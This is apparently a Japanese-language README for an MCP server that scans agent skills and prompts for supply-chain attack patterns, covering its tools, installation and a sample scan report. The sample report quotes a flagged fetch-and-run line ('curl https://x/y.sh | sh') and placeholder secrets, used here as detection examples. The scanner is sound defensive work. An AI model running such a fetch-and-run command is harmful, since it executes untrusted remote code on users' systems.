mcp-skill-sec

任意のエージェントスキル、システムプロンプト、またはダウンロードしたファイルコレクションを、8つの悪意あるスキルサプライチェーンパターン に照らして監査する Model Context Protocol（MCP）サーバー。

決定的で、LLM不要、ネットワーク呼び出しなし — Claude Code、Cursor、Copilot、OpenClaw、Codex CLI、および任意のMCP互換エージェントで動作する自己ホスト可能なインストール前スキャナーです。

スキャン対象（ルールR1–R8）

各検出結果には severity（critical/high/medium/low）、行番号、および一致する証拠の行が含まれます。総合判定は、critical/high の検出結果がなく、すべての medium の検出結果が無害である場合にのみ PASS となります。

Related MCP server: tar-engine

ツール

• audit_text(text, filename) — 文字列（貼り付けられたスキルや、自分が書いていないシステムプロンプト）を監査します。

• audit_skill_file(path) — ディスク上の SKILL.md / AGENTS.md / CLAUDE.md を監査し、行番号付きの証拠を返します。

• audit_directory(path, pattern) — ダウンロードしたスキルコレクション全体を監査し、ファイルごとの判定とサマリーを返します。

• rule_list() — ルールカタログを出力します。

インストールと実行

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / エージェント設定

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

使用例

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

ライセンスと出典

MIT。作者: sudo-ai-git。これはスタンドアロンのセキュリティ/検証ツールであり、独自の方法をコード化したものではありません。これは skill-sec エージェントスキルのMCP表現です（同じルールを、スキルとしてではなくサーバーとして呼び出せます）。

公式MCPレジストリのメタデータ

mcp-name: io.github.sudo-ai-git/mcp-skill-sec